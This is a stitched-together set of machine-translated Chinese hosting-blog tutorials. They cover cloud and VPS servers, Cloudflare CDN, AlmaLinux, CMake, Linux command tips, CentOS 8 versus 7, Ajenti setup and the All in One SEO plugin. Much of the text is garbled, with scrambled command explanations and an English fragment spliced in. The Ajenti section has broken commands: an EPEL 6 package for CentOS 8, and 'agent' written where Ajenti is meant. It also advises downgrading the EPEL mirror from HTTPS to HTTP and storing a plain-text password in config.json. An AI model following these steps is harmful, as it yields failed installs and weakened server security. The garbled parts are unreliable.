云服务器由于软硬件问题与环境分离,具有很高的稳定性、安全性和性能。云计算环境中的服务器不能互相伤害,而且因为资源是完全专用的,如果这个环境中的每个云服务器都在使用其所有的专用资源(不知何故是过载的),将不会对其他现有的云服务器产生任何影响。
另一方面,云服务器比常规(物理)服务器更经济,因为用户可以以更合理的价格购买资源更多同时速度更快的服务器。例如,你的网站在云服务器上的加载速度会比普通服务器快,你的费用(相关云服务器的费用)会与物理服务器的费用相等,在某些情况下还会更少。除此之外,您还将能够利用有用的云功能。
云服务器的可扩展性是另一个特性。升级资源(如 RAM、CPU、HDD)的可能性非常简单快速。由于这个特性,在业务的任何阶段,花费你需要的资源量就足够了。
这就是云服务器迅速流行的原因,在许多情况下,云服务器比物理服务器更受欢迎。
什么是专用服务器?
服务器通常是一台功能强大的计算机,但需要注意的是,由于所需的功率和稳定性,构建服务器的技术不同于普通计算机。尽管服务器的功率更高,但它占用的空间也比普通计算机少。该服务器用于各种领域,其中一些领域如下:
–托管网站
–计算机网络的控制、管理和评估
–用于邮件服务器、数据库服务器、流程服务器等
–用于工程、医学、军事等各种技术领域
–用于存储信息
还有几百个…
专用服务器,根据硬件的不同,可能很普通,也可能很强大。由于服务器通常必须长时间可用,并且硬件稳定性在其中非常重要,因此使用特殊技术来延长服务器组件的使用寿命。
VPS 服务器和云服务器的区别
一些公司认为 VPS 服务器和云服务器是一样的,但这是错误的,原因如下:
服务器设置
–VPS 服务器是多个用户共享的专用服务器的一部分。
–云服务器使用分布在不同物理服务器上的资源。
地点
VPS 服务器和云服务器之间的主要区别是 VPS 服务器在专用服务器中的硬件位置,而云服务器在多个专用服务器中的硬件位置。
成本
专用云服务器相对昂贵,因为你必须支付硬件、安装、设置和维护费用。云许可证的价格也包括在内,在您的 VPS 服务器中,您只需支付较少的费用,根据您的付费比例,我们会向您提供资源,而在您的专用服务器中,您需要支付硬件和服务器存储空间的价格。
云服务器和专用服务器的区别
VPS 服务器和专用服务器各有优缺点。哪一个适合你,完全取决于你的情况。中小型公司通常不需要专用物理服务器上的所有可用资源。如果您的企业不需要所有这些资源,您就不需要购买专用服务器。VPS 服务器通常可以满足稳步发展的公司的需求。大型组织也需要更多专用服务器。根据给出的解释,我们可以简单地说:
在以下情况下,可以购买 VPS 服务器:
–您的站点仍在增长,服务器的成本对您来说非常重要。
–您的站点需要更多资源,但不足以购买一台强大的专用服务器。
–您在服务器上进行了复杂的设置,并且想要定期备份整个操作系统。
–您希望能够快速更改服务器操作系统,并使用已安装的软件设置服务器。
在以下情况下,可以购买专用服务器:
–你想让你的网站发挥最大作用。你的网站需要更多的内存和强大的处理器来满足大量的访问者。
–您需要一台服务器,它的功能和组件可以根据您的需要进行更改。
永远记住去找那些在提供这类服务方面有良好声誉的公司。
下一点是支持和提供备份服务。服务器故障和软件问题是不可避免的。因此,选择一个无论何时何地你寻求帮助都会帮助你的托管公司。
结论
考虑到以上所有情况,并考虑到消除了许多关于云服务器的缺点和担忧,这种类型的服务器已经变得非常流行,并使云服务器成为任何企业的理想选择。
CloudFlare CDN 和 CDN 功能—什么是 Cloudflare CDN
原文:https://blog.eldernode.com/cloudflare-cdn-and-cdn-features/
最近我们讲解了 CDN 。在本文中,您将更加熟悉 Cloudflare CDN 和 CDN 功能。CDN 是一种内容交付技术,放置在您的主机和 web 访问者之间,显示信息。
CloudFlare CDN 和 CDN 特性
什么是 CloudFlare CDN
CDN CloudFlare 于 2009 年在加利福尼亚州旧金山推出。该公司在提供网络服务以及提高网站效率的基础上开始运营。在下文中,您将了解使用 CloudFlare CDN 的重要性。 CDN CloudFlare 是全球最安全、最快的 CDN 之一。该公司通过提供所需的服务和许多功能,在网络管理者中特别受欢迎。
CloudFlare CDN 特性
1-防范安全威胁
在 CloudFlare CDN 系统中,会省去一些安全攻击,因为你的服务器的位置在 CloudFlare CDN 服务的后面。
DDOS 攻击、 SQL 注入 需要直接目的服务器渗透的攻击,在该服务中已基本消除。如下图,当黑客攻击你的服务器时,黑客会遇到 Cloudflare CDN 服务器,用其他服务器连接你的服务器。因此,您网站的访问者可以很容易地通过另一台服务器连接到您的主机。
2-阻止垃圾信息爬虫
据报道,互联网上有一些爬虫会进入不同的网站,并在调查的不同部分输入广告短语。CDN CloudFlare 通过在云上进行的安全设置,在很大程度上阻止了这些垃圾邮件机器人进入您的网站。
3-减少带宽消耗和服务器资源
由于您站点的固定信息缓存在 CloudFlare CDN 服务器上,因此与您主机的连接将仅限于读取新的动态 HTML 代码。这些代码将大大减少您的带宽和硬件资源。
4-免费使用 Cloudflare CDN 服务器
在各公司推出 CDN 服务之前,大公司为了提高效率,以非常高的成本设计并建立了他们的 CDN。但是今天,随着免费 CDN CloudFlare 服务在所有企业网站上的推出,小型网站可以利用这一功能。
5-网站始终活跃
CloudFlare CDN 最重要的功能之一是缓存您站点的信息。即使您的服务器关闭或脱机,它仍保持活动状态。
6-更好更高级的压缩
CDN CloudFlare 能够压缩信息,如 CSS 、 HTML 代码,以加快您的 web 性能。
7-提供一个分析系统
大多数网站管理员都在寻找一个有信誉的网站分析系统。通过连接到一个 CloudFlare CDN ,你将拥有一个非常稳定和强大的分析系统。
8-清除缓存功能
CDN CloudFlare 不断在后台寻找你网站的缓存。所以它不间断地向访问者提供你的所有信息。
你可以在下面的照片中看到全球 CloudFlare 服务器积累的例子。
亲爱的用户,我们希望您喜欢本教程,您可以在评论区提出关于本次培训的问题,或者解决老年节点培训领域的其他问题,请参考提问页面部分并在其中提出您的问题。
Cloudlinux: AlmaLinux 将取代 CentOS - Eldernode 博客
原文:https://blog.eldernode.com/cloudlinux-almalinux-will-replace-centos/
如果你读到了一些关于你最喜欢的操作系统的意想不到的消息,而你还在寻找真相和最终结果,这是你需要读到最后的。 C 社区 Ent 企业 O 运营 S 系统是RedHatE企业 L inux 的改造,所以它的成本是这样的。毫无疑问,红帽受益于 CentOS 社区,但公司和开发者从未因支持 CentOS 而向 RHEL 付费。2021 年初不久,红帽已经宣布 CentOS 将于 2021 年结束。但 CentOS Stream 将在上述日期后继续存在,并将作为 Red Hat Enterprise Linux 的上游分支。加入我们这篇文章, Cloudlinux: AlmaLinux 将取代 CentOS,来清楚地了解这个主题。2021 年不会只给你带来令人震惊的消息,在 Eldernode 上有新的 2021 年优惠和折扣来购买你自己的 Linux VPS 。
AlmaLinux 将取代 CentOS
是时候告别 CentOS 8 了吗?
根据有据可查的消息,CentOS 的粉丝将面临其未来和功能的巨大变化。CentOS 8 将于 2021 年结束,并将重点转移到 CentOS Stream。
是时候告别 CentOS 8,向 CentOS 流问好了吗?阅读 CentOs Stream 的简要说明。CentOS 用户更喜欢拥有经验丰富的 Linux 管理员和开发人员的公司。但是由于 Red Hat 最近的决定,由于没有其他选择,迁移到 CentOS Stream 似乎是一个好主意。
CentOS Stream 没有旧 CentOS 定点发布作为滚动发布 Linux 发行版的稳定性。与 CentOS 8 类似,CentOS Stream 也有定期更新。但是,作为 CentOS Stream 用户,您可能会在其他人之前测试 RHEL,并且您可能会报告错误,需要等待在 RHEL 得到解决才能收到安全更新。是啊!这真的像是一个诡计,但事实是 CentOS Stream 并没有被认为是 CentOS Linux 的替代品。Red Hat 没有将 CentOS Stream 视为生产服务器。这只是达到项目目标的必然步骤。当大型企业使用 CentOS 8 时,红帽将自己的内部项目转移到 CentOS Stream。
此外,CentOS 声称 CentOS Stream 将在 RHEL 之前获得修复和功能。因此,在这些软件包进入 RHEL 版本之前,比 RHEL 预期的更少的错误和更多的运行时特性。
洛基 _ Linux 抗议结果
人们分为两类。第一派认为抗议会起作用。过一会儿,第二个人会相信第一个人🙂
哎呀!我知道这不是一个有趣的好情况,但我有一些好消息。一旦红帽宣布他们将重心从 CentOS Linux 转移的决定,许多用户开始在社交媒体上做出反应。幸运的是,他们被 CentOS 联合创始人听到,用户听到一个新的名字作为替代;洛基-Linux 。看起来红帽公司并不真正了解 CentOS 在个人和公司中的广泛使用、有效性和受欢迎程度。用格雷戈里·库尔茨的话来说,显然可以理解他对最近的决定感到不满。然而,在他的努力下,一个新的项目 Rocky-Linux 宣布启动。而现在是 CentOS fork,对于正在寻找出路的用户来说是一个很好的解决方案。Rocky-Linux 的名字是为了纪念他已故的 CentOS 联合创始人 Rocky McGough。
任务可能;用 AlmaLinux 替换 CentOS
由于 Linux 社区需要一个替代品,CloudLinux OS 作为 CentOS 的克隆也宣布了用于 CentOS 替代的 Lenix 项目。这个永远免费的项目改名为 AlmaLinux 。CloudLinux 拥有 4,000 多家客户和合作伙伴,将提高 Linux 服务器和设备的安全性、可用性和稳定性。
AlmaLinux 将是 RHEL 8 的开源、免费、社区驱动、1:1 二进制兼容版本。它由 CloudLinux 专业技术构建,将于 2021 年第一季度上市。CloudLinux 每年会在新的 Linux 发行版上投入 100 多万美元。采用 RHEL 和 CentOS 代码并将其微调到 CloudLinix OS 正是这个国家的事情。CentOS 用户也收到了该公司的好消息。他们承诺 Lenix 将提供一种不间断的方式来转换现有的 CentOS 服务器,不需要停机或重新安装任何东西。
脱离 CentOS Linux 的特性
虽然红帽休息 CentOS Linux 和大多数用户表现出他们的愤怒和不满意,让我们从另一个角度来看这个决定。微软首席项目经理、前 Red Hat 开发人员和 CentOS 董事会成员 Jim Perrin 解释了他不反对这种方法的原因。他列举了以下三个特点:
1-它使 RHEL 开发更加透明和可靠。
2-它为 ISV 和开发者提供了一种贡献修复和特性的方式。
3-它为社区提供了一种提供反馈的方式。
结论
“建立一个更广泛、更多样化的社区”是红帽公告中提到的标题之一。但用户似乎对这种替代并不满意,他们是对的。虽然 Red Hat 支持 CentOS 7 到 2024 年 6 月 30 日,但 CentOS 8 用户希望支持到 2029 年。但红帽会继续更新 CentOS 8,直到 2021 年底。只有时间能告诉我们用户是否会转向 CentOS Stream。为了避免 Linux 社区中的巨大差距,CloudLinux 推出了 AlmaLinux。这样,多租户 web 和服务器托管公司将获得一个定制的、高性能的轻量级服务器。AlmaLinux 允许您通过一个命令移植整个 CentOS 服务器群,而无需重新安装或重启。然而,用户正在等待 CentOS 的新替代品会是什么样。
介绍用于 Windows 和 Linux 的 CMake-elder node 博客
CMake 是一个独立于编译器的软件自动化程序。这个程序的一个很好的特点是支持目录层次结构。简单来说,CMake 就是一个管理你项目建设过程的工具。你可以编写自己的程序,告诉 CMake 在哪里存储源码、头文件和库等其他程序组件,每次你想构建自己的程序时,只要让 CMake 帮你做就行了。您不再需要逐个执行编译和链接命令。要改变一个文件,花时间编译整个项目,不要担心目录是否整洁。CMake 就是这么做的。在本文中,我们试图介绍 Windows 和 Linux 的 CMake】。你可以访问 Eldernode 中提供的包来购买 Linux VPS 服务器或者 Windows VPS 服务器。
CMake For Windows 和 Linux
CMake 是一个开源、多平台工具的名称,旨在构建和测试软件包。这个程序被设计用来控制软件项目的编译过程,这样项目可以在任何平台上创建,而不需要特定的配置文件。这个程序的任务是不管操作系统的类型如何都可以做项目,这样你就可以最终用你最喜欢的编译器来构建项目。
什么是 CMake?
CMake 是一个独立于编译器工作的软件自动化程序。这个程序可以被认为是一个软件项目管理工具。编写您的程序,然后通过引入资源、头文件和其他与程序相关的库的存储来引入该工具的最终版本,这样您就不必执行所有的链接命令来更改一行代码。CMake 可以轻松安装在 Windows 和 Linux 操作系统上。在接下来的教程中,我们将学习如何在 Windows 和 Linux 上安装 CMake。请关注我们的文章。
Cmake 特性
在本节中,我们将简要介绍 cmake 的特性。这些功能包括:
1-编译代码的能力,不管代码在什么位置
2-能够在不同的操作系统上编译代码
3-能够识别文件和库的位置
4-依赖性管理
5-能够为不同的系统生成 make 文件并为不同的 ide 生成项目
cmake 有什么好处?
–允许您在任何 IDE 上转移和开发项目。自然,您可以利用该开发环境的所有特性。需要注意是,Visual Studio、Jetbrains CLion、Eclipse 和 Qt Creator 等开发环境都支持 CMake。
–您可以将 Cmake 用作任何想要编译操作的操作系统的交叉平台。然后,您可以获得与该操作系统相关的输出文件。这意味着您可以在 Windows 上请求 Linux 可执行输出,而无需在该操作系统上。这个特性对开发嵌入式软件非常有帮助。
–许多开源库,包括 C/C++中的所有 KDE 应用程序,都使用 CMake 作为构建系统。所以当你想使用它们的时候,你不再需要知道那个库的结构。
–使用 Cmake,您可以检查系统的所有环境变量。你甚至可以判断出你需要编译程序的特定包是否安装在系统上?如果没有安装,可以用 CMake 命令从网上下载这个包,并把它放在自己的地方。该特性适用于高度依赖于其他应用程序的大型项目。
Windows 版 CMake 简介
在本节中,我们将介绍 Windows 上的 CMake。请注意,Windows 的下载页面上预先配置的二进制文件以 MSI 包和 ZIP 文件的形式提供。因此,您可以轻松地从源代码下载并构建 CMake。需要注意的是,下载页面也提供了源代码版本。
要在 Windows 中从源树构建 CMake,您必须首先安装最新的 CMake 二进制版本,因为它用于构建源树。一旦安装了二进制文件,就需要像其他项目一样在 CMake 上运行它。这样做意味着选择 CMake 作为源目录,然后为生成的可执行文件选择一个二进制目录。在下图中,您可以看到 Windows 中的 Cmake 环境
介绍 CMake For Linux
在这一节中,我们将介绍 Linux 上的 CMake。请注意,一些 UNIX 操作系统的下载页面上提供了预配置的二进制文件。您也可以轻松地从源代码下载并构建 CMake。下载页面提供了源代码版本。在下图中,你可以看到 Linux 环境下的 Cmake。
结论
CMake 是一个管理源代码的工具。换句话说,CMake 被设计成各种 Makefile 方言的生成器。如今,CMake 构建 Ninja 等现代构建系统,以及 Visual Studio 和 Xcode 等 ide 的项目文件。在本文中,我们试图向您介绍 CMake For Windows 和 Linux。
Linux 中 5 个有趣的命令行提示和技巧
一个 Linux 系统管理员需要知道一些 Linux 技巧。在本文中,您将学习 Linux 中 5 个有趣的命令行提示和技巧。
当你充分利用 Linux 的时候,有许多有用的特性似乎是给许多 Linux 用户的提示和技巧。有时提示和技巧成为需要。它帮助您使用相同的命令集和增强的功能来提高工作效率。
Linux 中 5 个有趣的命令行提示和技巧
在本指南中,我们将开始一个新的系列,在这里我们将写一些提示和技巧,并尝试在短时间内尽我们所能。因此,加入我们来学习 Linux 中 5 个有趣的命令行提示和技巧——第 1 部分。
1- 为了审核我们过去运行过的命令,我们使用历史命令。
history
因为历史命令不输出带有最后执行命令日志的时间戳。您可以通过运行以下命令来解决这个问题。
HISTTIMEFORMAT="%d/%m/%y %T " history
另外,如果您想要永久地附加这个更改,请将下面一行添加到 ~/.bashrc.
export HISTTIMEFORMAT="%d/%m/%y %T "
现在,从终端运行:
source ~/.bashrc
看看命令和开关的解释。
- 历史–GNU 历史库
- 组织格式–环境变量
- % d–日
- % m–月
- % y–年
- % T–时间戳
- source–简而言之,将文件的内容发送到 shell
- 。bashrc–是一个 shell 脚本,BASH 在交互启动时运行。
您可能会感兴趣:
和
2- 列表中的下一个宝石是——如何检查磁盘写入速度?嗯,一个简单的 dd 命令脚本就可以满足这个目的。
Linux 中 5 个有趣的命令行提示和技巧——第 1 部分
dd if=/dev/zero of=/tmp/output.img bs=8k count=256k conv=fdatasync; rm -rf /tmp/output.img
同样,这里是命令和开关的解释。
DD–转换并复制一个文件
如果=/dev/zero–读取文件而不是 stdin
- 的=/tmp/output . img–写入文件而不是 stdout
- bs–一次最多读写 M 字节
- 计数–复制 N 个输入块
- –按照逗号分隔符号列表转换文件。
- ****RM–删除文件和文件夹
- ****-RF–(-r)递归删除目录和内容,(-f)不提示强制删除。
- 3- 如果您希望检查占用您空间最多的前六个文件,您可以使用由 du 命令编写的简单的一行脚本,它主要用作文件空间用途
并查看命令和开关的解释。
****杜–估计文件空间使用量
****-hsx–(-h)人类可读格式,(-s)摘要输出,(-x)一种文件格式,跳过其他文件格式的目录。
-
****排序–排序文本文件行
-
****-RH–(-r)反转比较结果,(-h)为比较人类可读格式。
-
****头–输出文件的前 n 行。
4- 该是查看统计终端中每一种文件的时候了。借助 stat (输出文件/文件系统状态)命令,我们可以输出与文件相关的统计数据。
5- 最后,最后但并非最不重要的,这一行脚本是为那些,谁是新手。如果你是一个有经验的用户,你可能不需要它,除非你想从中得到一些乐趣。好吧,新手有 Linux 命令行恐惧症,下面的一行程序会生成随机的手册页。好处是作为一个新手,你总能学到东西,而且永远不会感到无聊。
`stat filename_ext (viz., stat abc.pdf)`
命令和开关的解释。
****Man–Linux 手册页
`man $(ls /bin | shuf | head -1)`
****ls–Linux 列表命令
-
****/bin–系统二进制文件位置
-
–生成随机排列
-
头–输出文件的前 n 行。
-
好样的 !通过接触这一点,您已经成功地学习了 Linux 中 5 个有趣的命令行提示和技巧。
尊敬的用户,我们希望本教程对您有所帮助,如果您对本文有任何疑问或想查看我们用户的对话,请访问提问页面。也为了提高你的知识,有这么多有用的教程为老年人节点培训准备。
同样,请阅读:
Linux 中 5 个有趣的命令行提示和技巧——第 1 部分
Linux Server Monitoring Commands
5 Interesting Command Line Tips and Tricks in Linux – Part 1
How to Find Out Which Process Listening on a Particular Port
比较 centos 8 和 centos 7 在 CentOS 8 和 CentOS 7 之间的差异
简介
当 2019 年 9 月 24 日CentOS 8 正式发布时,许多人可能想知道 CentOS 7 会有什么显著的变化。这篇文章试图检查比较 CentOS 8 与 CentOS 7 。
比较 CentOS 8 和 CentOS 7
CentOS 主要版本需要大量的规划和工具更改,因为它基于比以前版本更新的 Fedora 版本。这意味着从安装程序、软件包、打包和构建系统的所有东西都需要大修才能与新的操作系统一起工作。这意味着,根据重建工作所需的更改,总会有一个上升期。EL-8 和 EL-7 之间的差异也不例外,因为内核发生了巨大的变化,存储库格式增加了“模块”, RPMS 增加了许多 EL7 和之前版本没有的功能。在 EL7 和 EL8 之间唯一没有显著变化的是初始化系统,它仍然是“系统”。
CentOS 8 新功能
对于 CentOS 爱好者来说,最重要的事情之一是, CentOS 8 构建于 4.18 Linux 内核之上。是的,这与最新的 Linux 内核相去甚远,但 CentOS 和 RHEL 一样,都是关于生产系统的稳定性。如果你想要明亮、闪亮的新内核,看看 Linux 发行版,比如 Fedora。
百分之 8 vs 百分之 7
现在来看看其他一般的和次要的区别,请看下表
结论
从上面所做的一些不同可以看出,新的 CentOS 8 版本做了一些重大改变。从安全性到如何管理虚拟机,您应该会发现主要的增强功能,以使 CentOS 8 的服务器管理变得尽可能简单和安全。
现在你可以查看这篇文章,当你决定使用 CentOS 8 作为服务器时,你可以在 ElderNode 上购买 CentOS 8 VPS 服务器。
希望“比较 CentOS 8 和 CentOS 7”这篇文章有用。
如何在 CentOS 8[完整] - Eldernode 博客上配置 Ajenti
逐步了解如何在 CentOS 8 上配置 Ajenti。Ajenti 是斯洛文尼亚大学研发团队开发的开源控制面板。尽管这个面板是免费的,但它有一个企业版,能够同时支持多台服务器,只需支付很少的费用。但是在服务器上使用它是免费的。Ajenti 控制面板非常专业,同时非常流畅,据其开发者称,它可以与 Cpanel 和 Plesk 面板竞争。Ajenti 支持 Python、Ruby、PHP 语言,并全面管理相关服务。在本文中,我们尝试教您如何在 CentOS 8 上配置代理。您可以从 Eldernode 中提供的套装中选择并购买您的 CentOS VPS 服务器。
阿让蒂简介【完整】
所有控制面板设置 VPS 服务器几乎没有问题。但是阿让蒂做得更有效率。大多数服务器管理员更喜欢 Ajenti,因为它的访问速度相对较快,性能更好。
除了安装核心之外,这个控制面板还在服务器上安装高级工具,如文本编辑器、代码管理、web 终端和文件管理。所有这些将使你的网站管理更加高效和有效。为此,您可以轻松管理 Samba、Squid、Munin 等服务器。用它。
凭借其多功能的用户界面,用户可以安装现成的软件包和使用自动配置的虚拟电子邮件。自动配置包括 EXIM4、IMAP、简易 DKIM 激活、DMarc 和 SPF。
除了支持广泛的操作系统,还可以运行 Python、Ruby、PHP 和 Node.js。
阿让蒂控制面板先决条件
1。在安装之前,您必须将 EPEL 存储库添加到您的服务器中。输入以下命令下载 EPEL:
wget http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
–然后输入以下命令进行安装:
rpm -ivh epel-release-6-8.noarch.rpm
–用编辑器打开 epel.repo 文件:
vi /etc/yum.repos.d/epel.repo
–在地址开头的第四行,将短语 HTTPS 改为 HTTP。
修改前的主要短语如下:
mirrorlist = https: //mirrors.fedoraproject.org/metalink? repo = epel-6 & arch = $ basearch
修改后的短语应该是这样的:
mirrorlist = http: //mirrors.fedoraproject.org/metalink? repo = epel-6 & arch = $ basearch
注意: 更改后,按一次 Esc 键,然后输入短语 :wq 保存更改并退出编辑器。
2。安装 EPEL 后,更新你的 CentOS Linux。
如何在 CentOS 8 Linux 上安装 ajen ti
1。输入以下命令下载 Ajenti 包:
wget http://repo.ajenti.org/ajenti-repo-1.0-1.noarch.rpm
2。下载后,通过以下命令安装 Ajenti 存储库:
rpm -i ajenti-repo-1.0-1.noarch.rpm
3。最后,使用以下命令安装 Ajenti 控制面板:
yum install agent
注意: 安装时会问你几个问题来安装不同的包,都可以通过输入 y 和 Enter 键来通过。
4。重新启动 Ajenti 服务一次:
service agent restart
教程在 CentOS 8 上配置 ajen ti
输入以下命令打开端口 8000 以允许防火墙访问 Ajenti。首先,输入以下命令:
iptables -A INPUT -p udp -m state --state NEW --dport 8000 -j ACCEPT iptables -A INPUT -p tcp -m state --state NEW --dport 8000 -j ACCEPT
然后使用以下命令保存 iptables 的更改:
service iptables save
最后,重新启动 iptables 服务:
service iptables restart
然后打开浏览器,输入 IP 服务器和端口 8000。请注意,Ajenti 控制面板会随 HTTPS 一起打开。
例如,浏览器中服务器 192.168.1.1 的 IP 应该输入如下地址:
https://192.168.1.1:8000
如何解决进入 Ajenti 面板的问题
注意: 如果您无法使用您的 Linux 用户名和密码登录 Ajenti 控制面板,请按照以下步骤操作。
–用编辑器打开 config.json 文件:
vi /etc/ajenti/config.json
–然后找到你想要进入 Ajenti 控制面板的用户。
–在密码字段中,删除现有的密码散列,并简单地输入您的密码(纯文本)。
–然后保存文件,并使用以下命令重新启动 Ajenti 服务一次:
service agent restart
结论
Ajenti 是唯一一个轻量级的、功能强大的控制面板,具有众多开源功能,为管理和运行小型服务器提供了一个响应迅速的 web 界面。这个控制面板是 VPS 服务器和专用服务器的最佳选择。该选项具有内置插件,用于配置和管理软件和服务器服务,如 Apache、Nginx、MySQL、FTP、防火墙、文件系统、Cron、Samba、Squid、开发人员代码编辑器和终端访问。在本教程中,我们试图教你如何在 CentOS 8 上安装和配置 Ajenti。
教程配置搜索引擎优化插件
原文:https://blog.eldernode.com/configure-all-in-one-seo-plugin/
WordPress 的 All in One SEO 是最初的 WordPress SEO 插件,也是最全面的 WordPress SEO 插件和工具包。为了提高你的网站的搜索引擎优化排名,你不应该是一个搜索引擎优化专家或聘请一个。AIOSEO 被认为是最容易上手的 WordPress SEO 插件,既简单又强大。不难说 AIOSEO 是世界上最好的 WordPress SEO 插件。加入我们这篇文章来回顾一下教程为 Seo 配置一个 SEO 插件。各种月度和年度托管计划可在 Eldernode 上获得。预订您自己的 VPS 并入住我们酒店。
为 Seo 配置多合一 SEO 插件
虽然 WordPress 在默认情况下是针对 SEO 进行优化的,但是我们建议您使用许多其他设置来改进您的搜索引擎优化。自 2007 年以来,这个多合一搜索引擎优化包被下载了超过 3000 万次,是搜索引擎优化中使用最广泛的插件。顾名思义,这是一个全方位的搜索引擎优化解决方案。之前,All in one SEO 插件已经完全介绍过了,你也看到了它所有出色的特性。所以,如果你渴望开始使用这个最流行的 SEO 插件,继续阅读本指南,学习如何安装和配置它。
如何为 WordPress 设置一个 SEO 包
这是非常容易安装和使用的搜索引擎优化插件。本指南将以最简单的方式向您展示安装和配置该插件的过程。让我们来看一下所需的步骤,并回顾一下它的所有功能。
第一步:
很明显,你需要安装并激活一个 SEO 插件。因此,登录你的 WordPress 网站的管理面板,如下图所示导航:
插件>>添加新选项。
第二步:
一旦搜索栏打开,输入“ all in one SEO ”并点击 Install Now 按钮,开始下载。
第三步:
成功下载并安装后,点击激活插件链接。
第四步:
一旦插件被安装并激活,你会在 WordPress 管理区工具条菜单中发现一个新的搜索引擎优化标签。
Step 4:
如何配置多合一 SEO 插件
现在你已经添加了一个 SEO 插件,你可以开始配置它的设置了。
所以,只需点击一个 SEO >中的ll>通用设置选项如下图所示:
如何使用多合一 SEO 插件
在多合一 SEO 插件中有一些重要的设置你可以修改。在下面,我们将回顾它们来帮助你使用这个插件:
1-通用设置
现在,让我们看看上面所有选项的定义。
_ 规范网址:
要确保您的网站不会因为任何重复内容或导致相同内容的多个 URL 而受到惩罚,请启用它。
_ 规范 URL 无分页:
要删除规范 URL 的任何分页,请启用它。
_ 启用自定义规范 URL:
要向编辑帖子屏幕添加新字段并为帖子设置自定义规范 URL,请启用它。
_ 设置规范 URL 的协议:
如图所示,您可以选择用于规范 URL 的协议。如果你选择自动选项,它将使用你的 WordPress(【wp-config.php】T2)配置文件中指定的协议
_ 使用原标题:
如果你的主题或者其他插件干扰了搜索引擎优化插件标题标签的编写,你可以启用这个选项。
_ 使用 Schema.org 标记:
这种标记为搜索引擎提供了显示丰富片段所需的信息。
_ 记录重要事件:
如果你必须调试,让它写一个任何插件事件的日志。
2-首页设置
如上所述,您需要在主页设置中添加一些细节。让我们看看更多关于它的细节。
_ 首页标题:
当你的主页打开时,这个标题将出现在浏览器标签的顶部。这是主页的 SEO 元标题。建议长度不超过 60 个字符。
_ 首页描述:
这是将显示在搜索结果中的描述。用 160 个字符写下你的博客内容。让它有意义、信息丰富、关键词丰富。
_ 首页关键词(逗号分隔):
此外,您会看到关键字设置选项。由于元关键字不再被视为搜索引擎排名因素,您可以勾选禁用框,然后继续标题设置。
3-标题设置
您可以复制如上图所示的设置。查看每个选项的定义。
_ 重写标题:
默认情况下,此选项处于启用状态,您可以在下面的字段中修改每种内容类型的标题。
_ 大写标题:
默认情况下,此选项是启用的,即大写标题中每个单词的第一个字母。
_ 首页标题格式:
这个选项允许你改变你的页面标题和它下面的其他标题的格式,你需要点击“?”图标,选择您想要的格式。
4-自定义岗位类型设置
对于自定义文章类型设置,您可以保持原样。但是,请查看下面的更多解释:
_ 自定义帖子类型的 SEO:
默认情况下,此选项处于启用状态。因此,它导致所有在一个搜索引擎优化工作与任何自定义帖子类型,你可能有你的网站。
_ SEO 仅针对这些帖子类型:
要仅选择插件将使用的特定帖子类型,请选中相应的框。
_ 启用高级选项:
此选项将在此部分添加一个名为自定义标题的新字段,您可以选中该字段来手动配置每个自定义帖子的标题标签的格式。
5-显示设置
此外,对于显示设置,您可以保持原样。下面是每个选项的功能。
_ 显示自定义帖子类型的列标签:
要更改您可以看到已添加元数据的自定义帖子类型,请选中相应的框。
_ 在管理栏显示菜单:
如果你喜欢在 WordPress 的管理面板上看到一个叫做 SEO 的插件按钮,启用它。
_ 顶部显示菜单:
如果您想在仪表板的顶部导航菜单中显示插件按钮,请选中此框。
6- Noindex 设置
Noindex 设置非常重要和有用。您可以使用它来限制搜索引擎索引您网站上的内容或跟踪指向其他网站的链接。这样,你的存档页面就不会在 Google 中被索引。
_ NOODP 选项:
如果您希望搜索引擎不使用 开放目录项目 中关于您网站的标题和描述,请勾选相应的复选框。
_ NOYDIR 选项:
如果你想对雅虎目录做同样的事情,使用这个选项。
7-高级设置
取消高级设置下的自动生成描述选项。因为以某种方式写一个你自己的元描述是一个好主意,这可以产生更好的点击率。
_ 避免在描述中使用摘录:
要防止 All in One SEO 插件使用摘录来生成描述,请选中此框。
_ 自动生成描述:
该插件将自动生成你的第一段描述。所以,如果你为你的文章写了一个好的介绍,启用它。
_ 运行自动生成描述中的短代码:
如果内容中有任何用于生成描述的短代码,并且您希望它们运行,请启用此选项。
_ 不要缩短长描述:
要使描述超过 160 个字符,请启用此选项。
_ 排除页面:
如果您想排除一些页面输出元信息,您可以在这里列出它们。
就是这样!您已经成功地学习了如何使用 All in One SEO 插件来改善网站的搜索引擎结果。
结论
在这篇文章中,你学习了教程为 Seo WordPress 配置一个 SEO 插件。要写出优秀的内容,你必须在单篇帖子设置中考虑三个选项:元标题、元描述和关键词。要了解更多细节,请参考我们在 WordPress 教程上的相关文章。如果你喜欢这个 SEO 插件,开始在你的网站上使用它来优化它,从搜索引擎获得最大的结果。但是如果你喜欢其他的,请在社区上讨论,让我们知道。
If you want to exclude some pages from outputting meta information, you can list them here.
That’s that! You have successfully finished learning about the way you can use the All in One SEO plugin to better your website’s search engine results.
Conclusion
In this article, you learned Tutorial Configure All in One SEO Plugin For Seo WordPress. To write excellent content, you must consider three options in the single post settings: Meta title, Meta Description, and Keywords. To learn more in detail, refer to our related articles on WordPress tutorials. If you like this SEO plugin start using that on your website to optimize it to get maximum results from search engines. But if you prefer any other one, discuss it on Community to let us know about that.
如何配置一个搜索引擎优化插件
每个 SEO 专家都想在谷歌和其他搜索引擎中排名靠前,SEO 让你的网站在这些搜索引擎中排名靠前。所有在网站上工作的人都希望以不同的方式将与他们业务相关的词链接到谷歌搜索结果的顶部。但关键是你必须花很多时间来击败竞争对手。All In One SEO 插件提高了网站的优化,适合那些刚刚开始工作的人。这篇文章将教你如何配置所有的 SEO。如果你打算 购买 VPS 服务器,你可以查看 Eldernode 网站上提供的套装。
为什么您需要在一个 SEO 中配置所有功能?
All In One SEO 是最好的 SEO 插件之一,可以让你的网站在搜索引擎中排名更高。这也有助于你从 Twitter 和脸书等社交媒体平台获得更多免费流量。这个插件在 2007 年开始工作,已经安装了超过 200 万次。All In One SEO Pack 插件,也称为 AIOSEO,已被翻译成 56 种语言,并通过显示帖子的 TruSEO 分数来帮助您创建更多搜索引擎友好的内容。
All In One SEO 附带了在搜索引擎中排名更高所需的所有 SEO 功能,包括智能 SEO 模式标记、高级 SEO 模块、强大的 SEO 网站地图套件、本地 SEO 模块、Google AMP SEO、WooCommerce SEO 等。
如何用 Configure All In One SEo 让自己的网站排名更高?
在下一节,我们将教你使用 2 方法在 WordPress 中安装 All In One SEO 插件。
安装 AIOSEO 使用 WordPress 管理插件上传
首先,你应该从官方 WordPress 网站免费下载 All In One SEO Pro:
